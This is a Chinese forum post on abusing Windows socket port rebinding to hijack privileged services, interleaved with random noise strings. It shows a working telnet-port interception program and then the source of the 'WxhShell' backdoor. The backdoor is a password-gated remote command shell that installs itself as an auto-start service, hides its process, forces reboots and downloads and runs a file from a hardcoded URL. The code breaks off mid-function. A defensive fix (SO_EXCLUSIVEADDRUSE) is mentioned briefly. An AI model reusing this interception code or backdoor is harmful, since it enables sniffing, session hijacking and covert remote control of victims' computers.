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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T!^Mvat  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZlR!s!vv  
Aka^e\Y@6*  
  saddr.sin_family = AF_INET; womq^h6  
R_e)mkE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g()m/KS<  
xPQL?.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R{3CW^1  
bEpMaBN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J/Q|uRpmqr  
j7/(sf  
  这意味着什么?意味着可以进行如下的攻击: l]5%  
|-kEGLH[*V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jxY-u+B  
b7$}JCn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0'yyfz  
h5onRa *7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B=zMYi  
*8\(FVyG^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @-6?i)  
hZuYdV{'h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 - V=arm\#z  
M\UWWb&%\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "{F;M{h$},  
:C%47qv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9*pG?3*I  
3%IWGmye4  
  #include lO 2k<  
  #include zqGYOm$r  
  #include |=3 *;}  
  #include    ;nk@XFJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y ><(?  
  int main() D@hmO]5c  
  { (!n-Age  
  WORD wVersionRequested; E~He~wHWe  
  DWORD ret; `pYE[y+  
  WSADATA wsaData; N(R,8GF5G  
  BOOL val; 1g i}H)  
  SOCKADDR_IN saddr; ay[+2"  
  SOCKADDR_IN scaddr; k,]{NO   
  int err; s/ S+ ec3  
  SOCKET s; L?f qcW{  
  SOCKET sc; 1URsHV!xcM  
  int caddsize; bOXh|u_3i  
  HANDLE mt; 6Bdyf(t  
  DWORD tid;   b\L)m (  
  wVersionRequested = MAKEWORD( 2, 2 ); %HEmi;  
  err = WSAStartup( wVersionRequested, &wsaData ); cdsQ3o  
  if ( err != 0 ) { 9p<:LZd~  
  printf("error!WSAStartup failed!\n"); +{ab1))/  
  return -1; #$uZDQY_  
  } n4*'B*  
  saddr.sin_family = AF_INET; -A@U0=o  
   m|dF 30~A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rk|a'&  
CjZ6NAHc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w4}(Ab<Y  
  saddr.sin_port = htons(23); >@Khm"/T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JS2!)aqc  
  { {G.{a d  
  printf("error!socket failed!\n"); YHh u^}|jQ  
  return -1; yHw!#gWM  
  } m/N(%oMWB=  
  val = TRUE; 6SAQDE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [N R1d-Wg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m?vAyi  
  { ~y%7w5%Un  
  printf("error!setsockopt failed!\n"); q_5 8Lw  
  return -1; 3mA/Nu_  
  } Ib(,P3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -9Xw]I#QR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =0Y'f](2eW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <w11nB)  
~$ WQ"~z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) | VRq$^g  
  { 1 ' %-y  
  ret=GetLastError(); _ ^3@PM>  
  printf("error!bind failed!\n"); KqY>4tb  
  return -1; faJ8zX  
  } Z{16S=0  
  listen(s,2); 73#9NZ R  
  while(1) {lKEZirO  
  { Oi#k:vq4  
  caddsize = sizeof(scaddr); sp,(&Y]US  
  //接受连接请求 JgZdS-~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +{bh  
  if(sc!=INVALID_SOCKET) v_.j/2U  
  { [ 1D)$"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A'(k Yc  
  if(mt==NULL) #|D:f~"d3  
  { :if5z2PE/  
  printf("Thread Creat Failed!\n"); EkV!hqs*  
  break; l?N`V2SuR  
  } o}W7.7^2  
  } -*5yY#fw}  
  CloseHandle(mt); C890+(D~  
  } E<P*QZ-C3  
  closesocket(s); s-o~@(r6  
  WSACleanup(); 2f /bEpi  
  return 0; |O^V)bZmx  
  }    pe|\'<>i  
  DWORD WINAPI ClientThread(LPVOID lpParam) (N9`WuI  
  { {)GQV`y  
  SOCKET ss = (SOCKET)lpParam; 6UtG-WHHt  
  SOCKET sc; Is~yVB02  
  unsigned char buf[4096]; f(W,m >.;  
  SOCKADDR_IN saddr; &<OMGGQ[h  
  long num; J]_)gb'1BR  
  DWORD val;  K oL%}u&  
  DWORD ret; 0c{Gr 0[>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vV2o[\o^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %hrsE5k^,  
  saddr.sin_family = AF_INET; RH1U_gp4 ]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |c BHBd  
  saddr.sin_port = htons(23); Zj5NWzj X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pzYG?9cwz  
  { !vi4* @:  
  printf("error!socket failed!\n"); )z|_*||WU^  
  return -1; J\9jsx!WQ  
  } `_6@3-%  
  val = 100; iNMLYYq]l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H==X0  
  { ook' u }h  
  ret = GetLastError(); 8Na}Wp;|Gi  
  return -1; HX z iDnj  
  } r{c5dQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) il<gjlyR]L  
  { )E_!rR  
  ret = GetLastError(); UeC 81*XZ  
  return -1; uV#-8a5!  
  } </~1p~=hAt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) __Vg/C!W  
  { Cf.WO%?P  
  printf("error!socket connect failed!\n"); thR|h+B  
  closesocket(sc); pPU2ar  
  closesocket(ss); +lW+H12  
  return -1; ,(zcl$A[  
  }  U5T^S  
  while(1) ..sJtA8  
  { 9Vh_XBgP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~ly`u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $=X!nQ& Z|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @faF`8LwA  
  num = recv(ss,buf,4096,0); =/)Mc@Hb  
  if(num>0) }"!6Xm  
  send(sc,buf,num,0); i@sCMCu6  
  else if(num==0) Z{j!s6Y@{  
  break; 1j_aH#Fz:  
  num = recv(sc,buf,4096,0); }C9VTJs|  
  if(num>0) &n,xGIG  
  send(ss,buf,num,0); 0f EZD$  
  else if(num==0) xow6@M,  
  break; dpl"}+  
  } * <Nk%`  
  closesocket(ss); ajg7xF{l)  
  closesocket(sc); |rG8E;>  
  return 0 ; UzP@{?  
  } sf=%l10Fk#  
.CB"@.7  
LD7? .  
========================================================== G=+!d&mbg  
R|d^M&K,  
下边附上一个代码,,WXhSHELL i|:: v l  
Vw6>:l<+<  
========================================================== j=zU7wz)D  
/ i\uwa,  
#include "stdafx.h" 0$Qn#K  
g0[<9.ke  
#include <stdio.h> pb$ An<P  
#include <string.h> lUy*549,  
#include <windows.h> P W0q71  
#include <winsock2.h> w0F:%:/  
#include <winsvc.h> m7bn%j-{$f  
#include <urlmon.h> n:{-Vvt  
|~1rKzZwF  
#pragma comment (lib, "Ws2_32.lib") i:NJ>b  
#pragma comment (lib, "urlmon.lib") 1`7]C+Pv  
Z &ua,:5  
#define MAX_USER   100 // 最大客户端连接数 0DW'(#`  
#define BUF_SOCK   200 // sock buffer l#< }|b  
#define KEY_BUFF   255 // 输入 buffer BHiw!S<  
^H y)<P  
#define REBOOT     0   // 重启 ?kG#qt]Q5  
#define SHUTDOWN   1   // 关机 &z 1|  
^loF#d= s  
#define DEF_PORT   5000 // 监听端口 U[H+87zg  
~50y-  
#define REG_LEN     16   // 注册表键长度 BdRE*9.0  
#define SVC_LEN     80   // NT服务名长度 FN8=YUYK%  
kfG65aa>_  
// 从dll定义API [7ek;d;'t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h|Teh-@A5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ cHV3cz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dg];(c+/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 96([V|5K  
h<!khWFS  
// wxhshell配置信息 e2_r0I^C  
struct WSCFG { -hJ>wGI  
  int ws_port;         // 监听端口 HquB*=^xh  
  char ws_passstr[REG_LEN]; // 口令 n8y,{|  
  int ws_autoins;       // 安装标记, 1=yes 0=no R-0_226  
  char ws_regname[REG_LEN]; // 注册表键名 6>P  
  char ws_svcname[REG_LEN]; // 服务名 xhp-4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6O[wVaC1u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A(_^_p.|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,sQ0atk7ma  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ra15d^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o 0cc+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (,)vak&t  
N";dG 3  
}; 8M(|{~~3:  
is _ dPc  
// default Wxhshell configuration Q'%5"&XFD  
struct WSCFG wscfg={DEF_PORT, J7 zVi  
    "xuhuanlingzhe", nP3;<*T P0  
    1, /d]V{I~6  
    "Wxhshell", 0ga1Yr]  
    "Wxhshell", DFZ:.6p  
            "WxhShell Service", S &lTKYP  
    "Wrsky Windows CmdShell Service", `mHOgS>|  
    "Please Input Your Password: ", Z ^9{Qq  
  1, AcfkY m~  
  "http://www.wrsky.com/wxhshell.exe", X?k V1  
  "Wxhshell.exe" 7T(OV<q;#  
    }; O'yjB$j  
")[Q4H;V  
// 消息定义模块 JQVw6*u{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;JD3tM<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gh>fp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;Kd{h  
char *msg_ws_ext="\n\rExit."; "a%ASy>?g  
char *msg_ws_end="\n\rQuit."; M b /X@51  
char *msg_ws_boot="\n\rReboot..."; GF/x;,Ae  
char *msg_ws_poff="\n\rShutdown..."; I}]@e ^ ~  
char *msg_ws_down="\n\rSave to "; gP hw.e""  
&l!{!f4  
char *msg_ws_err="\n\rErr!"; po](6V  
char *msg_ws_ok="\n\rOK!"; { ves@p>?  
|?t8M9[Z  
char ExeFile[MAX_PATH]; {dr&46$p  
int nUser = 0; zL!~,B8C  
HANDLE handles[MAX_USER]; =='{[[J  
int OsIsNt;  lN`_0  
Dy!bj  
SERVICE_STATUS       serviceStatus; 5}l#zj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4>wIF}\  
lVp~oZC6[  
// 函数声明 h9OL%n 7m'  
int Install(void); Gk]qE]hi  
int Uninstall(void); E( 4lu%  
int DownloadFile(char *sURL, SOCKET wsh); ^*UfCoj9Z  
int Boot(int flag); ?GD? J(S  
void HideProc(void); ]OCJ~Zw  
int GetOsVer(void); -L4G WJ~.-  
int Wxhshell(SOCKET wsl); Hpo?|;3D5  
void TalkWithClient(void *cs); }+RF~~H/  
int CmdShell(SOCKET sock); oJ;O>J@c  
int StartFromService(void); {uQ)p=  
int StartWxhshell(LPSTR lpCmdLine); w)y9!li  
 _I}L$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gBiQIhz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >^\>-U|  
[#*?uu+ jK  
// 数据结构和表定义 V1fvQ=9  
SERVICE_TABLE_ENTRY DispatchTable[] = +}L3T"  
{ ~1]2A[`s!  
{wscfg.ws_svcname, NTServiceMain}, LU IT=+  
{NULL, NULL} o_KcnVQ\  
}; )s7Tv#[  
"drh+oo.  
// 自我安装 dK(%u9v  
int Install(void) j{w,<Wt>  
{ eYX_V6c  
  char svExeFile[MAX_PATH]; ~m09yc d<  
  HKEY key; V1b_z  
  strcpy(svExeFile,ExeFile);  yLIj4bf  
:AcN b  
// 如果是win9x系统,修改注册表设为自启动 VOK$;s'9}  
if(!OsIsNt) { f;XsShxr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SoGLsO+R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f]6` GsE  
  RegCloseKey(key); [W|7r n,q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7 te!>gUW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7'/2:"  
  RegCloseKey(key); WUK.>eM0  
  return 0; =O:ek#Bp  
    } l|tp0[  
  } 3% 4Mq6Q`  
} D.Cs nfJ  
else { y<x_v )k-  
JO6vzoS3  
// 如果是NT以上系统,安装为系统服务 <7-,`   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); = Vr[V@  
if (schSCManager!=0) ?UhAjtYIS  
{ W me1w\0  
  SC_HANDLE schService = CreateService >,]e[/p  
  ( eHyuO)(xH1  
  schSCManager, oYm{I ~"  
  wscfg.ws_svcname, \V- Y,!~5  
  wscfg.ws_svcdisp, IV#My9}e  
  SERVICE_ALL_ACCESS, ]}L1W`n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #V,~d&_k  
  SERVICE_AUTO_START, KXbYv62  
  SERVICE_ERROR_NORMAL, 86 /i~s  
  svExeFile, ieLN;)Iy^  
  NULL, whZ],R*u  
  NULL, GZ[h`FJg/  
  NULL, E=~WQ13Q  
  NULL, :yFCp@&  
  NULL >s?;2T2"yx  
  ); 1Kf t?g  
  if (schService!=0) _ ,1kcDu  
  { k<";t  
  CloseServiceHandle(schService); LmdV@gR  
  CloseServiceHandle(schSCManager); mb`}sTU).  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U*U )l$!  
  strcat(svExeFile,wscfg.ws_svcname); y\|\9Q%D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HPCA$LD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nl)jQ  
  RegCloseKey(key); G6F['g);  
  return 0; C^: &3,  
    } [>9"RzEl  
  } !4.^@^L|\  
  CloseServiceHandle(schSCManager); Uk ;.Hrt.  
} [a*>@IR  
} ]BD5+>;  
 %!h+  
return 1; aYCzb7  
} ^X'7>{7Io  
WWD@rnsVf  
// 自我卸载 moI<b\G@  
int Uninstall(void) 'wq:F?viF  
{ ^52R`{  
  HKEY key; )g^Ewzy^X  
g)6 k?Y  
if(!OsIsNt) { l hp:.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ rnr;V  
  RegDeleteValue(key,wscfg.ws_regname); q8v!{Os+#  
  RegCloseKey(key); Y6;9j=[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G'C^C[_W  
  RegDeleteValue(key,wscfg.ws_regname); SLA~F?t  
  RegCloseKey(key); N!&VBx^z  
  return 0; :@A;!'zpL  
  } OWfj<#}t+  
} ?+tZP3'  
} TmAb! Y|F  
else { TBfl9Q  
?\VN`8Yb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rGL{g&_  
if (schSCManager!=0) ^S2} 0N f  
{ cU[pneY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?S:_J!vX{  
  if (schService!=0) Q</HFpE  
  { +%$V?y (  
  if(DeleteService(schService)!=0) { "jMnYEG  
  CloseServiceHandle(schService); $gK>R5^G>  
  CloseServiceHandle(schSCManager); BQf+1 Ly&  
  return 0; w~?eX/;  
  } r_RTtS#  
  CloseServiceHandle(schService); wIHz TL  
  } N |L5Ru  
  CloseServiceHandle(schSCManager); $oj<yH<i  
} D];([:+4  
} cSDCNc*%  
Z}StA0F_  
return 1; Fa^]\:  
} p}X87Zq  
- $/{V&?t  
// 从指定url下载文件 !Shh$iz  
int DownloadFile(char *sURL, SOCKET wsh) "g[UX{L  
{ _I5+o\;1  
  HRESULT hr; xF+x I6  
char seps[]= "/"; aV, J_Q6r  
char *token; .;6bMP[YA  
char *file; .1lc'gu5y  
char myURL[MAX_PATH]; l6Bd<tSH  
char myFILE[MAX_PATH]; Bn:sN_N  
pz=Wq4 l  
strcpy(myURL,sURL); xWV7#Z7  
  token=strtok(myURL,seps); 7^X_tQf  
  while(token!=NULL) W4a20KM2  
  { 9oz)E>K4f  
    file=token; K#m o+n5-;  
  token=strtok(NULL,seps); V#KM~3e  
  } SJ@_eir\o  
p4_uY7^6  
GetCurrentDirectory(MAX_PATH,myFILE); `"4EE}eQc  
strcat(myFILE, "\\"); AOUO',v  
strcat(myFILE, file); _ RT}Ee}Y  
  send(wsh,myFILE,strlen(myFILE),0); [wYQP6Cyy  
send(wsh,"...",3,0); @S):a`J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <Ux;dekz}  
  if(hr==S_OK) :gv#_[k  
return 0; 8G<.5!f7`N  
else nJC}wh2d#  
return 1; b7mP~]V  
&T}e9 3]  
} }$U6lh/Ep  
=p$Wo  
// 系统电源模块 1t'\!  
int Boot(int flag) "rJL ^ \r  
{ 4ebGAg?_  
  HANDLE hToken; xy>mM"DOH  
  TOKEN_PRIVILEGES tkp; *%sYajmD  
sBL^NDqa2  
  if(OsIsNt) { ,_O[; L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +[+ Jd)Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _Z&R'`kg  
    tkp.PrivilegeCount = 1; ;_*F [ }w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K)OlCpHc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %Kp}Wo6  
if(flag==REBOOT) { eD0@n :  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k/O&,T77}J  
  return 0; !^\/ 1^  
} krU2S-  
else { |{Q,,<C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "'(4l 2.  
  return 0; L Jx g  
} ]f?LQCTq<b  
  } !2}Q9a  
  else { 9 |Y?#oZ1  
if(flag==REBOOT) { Mt>DAk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o}z}79Z  
  return 0; U>XGJQ<NS  
} $4pW#4/4  
else { 8Qh/=Ir  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _i#Z'4?2E  
  return 0; 50A_+f.7%  
} 0Jr< >7Q1  
} X)+N>8o?N  
^xrR3m*d  
return 1; &-A 7%"  
} 1;V5b+b  
g&V.o5jIhc  
// win9x进程隐藏模块 Xqk$[ peS  
void HideProc(void) E3qX$|.$/  
{ ~MX@-Ff  
^y,ip=<5\3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3ssio-X  
  if ( hKernel != NULL ) p"Y=  
  { H Vy^^$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0a5P@;"a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '`u1,h  
    FreeLibrary(hKernel); kcb'`<B  
  } \N)FUYoHg  
=k z;CS+  
return; [#tW$^UD  
} /e\dsC{uJ  
y:L|]p}huE  
// 获取操作系统版本 F)G#\r  
int GetOsVer(void) (@Bm2gH  
{ ]jYM;e  
  OSVERSIONINFO winfo; >J1o@0tk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _%]H}N Q  
  GetVersionEx(&winfo); %M`&}'6'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~A)$="  
  return 1; Zl)|x%z  
  else 1N &U{#4  
  return 0; [*(MI 9WM  
} V*N9D>C  
FYJB.lAT  
// 客户端句柄模块 '"EOLr\Z,  
int Wxhshell(SOCKET wsl) *HRRv.iQ  
{ lMP7o&  
  SOCKET wsh; v3p..A~XZ.  
  struct sockaddr_in client; j.K yPWO  
  DWORD myID; !Zrvko  
@fw U%S[v  
  while(nUser<MAX_USER) , F[mh  
{ VF-d^AGt  
  int nSize=sizeof(client); h$!qb'|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vR,'':  
  if(wsh==INVALID_SOCKET) return 1; *=8)]_=f  
C{D2mSS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?/\;K1c p  
if(handles[nUser]==0) C"}x=cK  
  closesocket(wsh); xl3U  
else !l~hO  
  nUser++; g 0L 4  
  } eIO}/npT]Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [|YMnV<B  
">o/\sXeH  
  return 0; :X#(T- !t  
} ch&r.  
4Y]`> ;w  
// 关闭 socket =P!Vi6[gF~  
void CloseIt(SOCKET wsh) -} (W=r\  
{ &Fi8@0Fh  
closesocket(wsh); Um~jp:6p  
nUser--; }MX`WW0\]Z  
ExitThread(0); ~?p > L  
} ms$o,[  
%wO~\:F8  
// 客户端请求句柄 X}ZOjX!  
void TalkWithClient(void *cs) 1li`+~L F  
{ (#:Si~3  
>iCMjT]4  
  SOCKET wsh=(SOCKET)cs; _I9TG.AA.  
  char pwd[SVC_LEN]; GHkSU;})  
  char cmd[KEY_BUFF]; p#&6Ed*V  
char chr[1]; 'D4NPG`z  
int i,j; 8WH>  
KQqlM  
  while (nUser < MAX_USER) { G`n-WP  
zt8ZJlNK  
if(wscfg.ws_passstr) { /\9Kr;@vk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z_;' r|c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IH0Uq_  
  //ZeroMemory(pwd,KEY_BUFF); U+ 8[Ia(t  
      i=0; g N[r*:B  
  while(i<SVC_LEN) { x\=h^r#w  
myo/}58Nv  
  // 设置超时 )-9/5Z0v  
  fd_set FdRead; &`9lIVB,K  
  struct timeval TimeOut; fVkl-<?x  
  FD_ZERO(&FdRead); BK +JHT  
  FD_SET(wsh,&FdRead); h3:,Gbyap  
  TimeOut.tv_sec=8; ~7m+cWC-+  
  TimeOut.tv_usec=0; CR/LV]G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VKlD"UTk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IJ0RHDod:  
_+{s^n=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ql8:s>1T  
  pwd=chr[0]; s(dox; d  
  if(chr[0]==0xd || chr[0]==0xa) { k91Y"_&  
  pwd=0; 41.+3VP  
  break; }"T:z{n  
  } a-W&/  
  i++; K,RIa0)  
    } D,7! /u'  
#8`G&S*  
  // 如果是非法用户,关闭 socket R 'F|z{8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cr!I"kTgD  
} QEVjXJOt0  
R =jK3yfw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YP6+o#==  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )KNFS,5  
[:o#d`^  
while(1) { ed{9UJWh  
/i]Gg \)  
  ZeroMemory(cmd,KEY_BUFF); $lv  g.u  
v|hi;l@7E  
      // 自动支持客户端 telnet标准   *f[`Yv  
  j=0; K@fxCj*}  
  while(j<KEY_BUFF) { i{,>2KVC|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (/)JnBy0  
  cmd[j]=chr[0]; ! 87ebo  
  if(chr[0]==0xa || chr[0]==0xd) { cz0tnF*&  
  cmd[j]=0; >#'6jm  
  break; b/ynCf8X  
  } |XsW)/  
  j++; cx02b-O  
    } bNC1[GG[  
9Hu%Z/[!p  
  // 下载文件 8FMP)N4+  
  if(strstr(cmd,"http://")) { FrVD~;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iD\joh-C  
  if(DownloadFile(cmd,wsh)) +EFur dX\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJ\I%7h*  
  else Fm@GU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LR^b?.#>  
  } `R^)< v*  
  else { T}zi P  
T.xW|Iwx  
    switch(cmd[0]) { CzK X}  
  :S%|^Q AN  
  // 帮助 \&cVcA g  
  case '?': { 1 4|S^UM$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S`-z$ph}  
    break; 7(oxmv}#Q  
  } Q:-/@$&i  
  // 安装 Cjd +\7#G  
  case 'i': { S-1}3T%  
    if(Install()) ,^'Y7"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLxg  
    else wCdUYgsPT"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H: U_k68  
    break; "XH]B  
    } )I*V('R6|  
  // 卸载 86I".R$d  
  case 'r': { > 4^U=T#  
    if(Uninstall()) E{FNsa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y_'8m9Qy)  
    else gK PV*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4b (iGLrt0  
    break; H<qR^a  
    } 2^juLXc|R  
  // 显示 wxhshell 所在路径 zgO?%O  
  case 'p': { CfVz'  
    char svExeFile[MAX_PATH]; {d3r>Ub)7d  
    strcpy(svExeFile,"\n\r"); :gR`rc!  
      strcat(svExeFile,ExeFile); <}e<Zf!  
        send(wsh,svExeFile,strlen(svExeFile),0); 1mB6rp  
    break; U$-FQRM4K  
    } uW[ <?sFG  
  // 重启 yn7n  
  case 'b': { . E.OBn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .Wr7?'D1M  
    if(Boot(REBOOT)) :>cJ[K?0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! |}>Y  
    else { `W-:@?PmQx  
    closesocket(wsh); HezCRtxRcc  
    ExitThread(0); |~>8]3. Y  
    } c,+oH<bZZs  
    break; `T mIrc  
    } wp@c;gK7  
  // 关机 ;DRJL   
  case 'd': { <=0_[M  
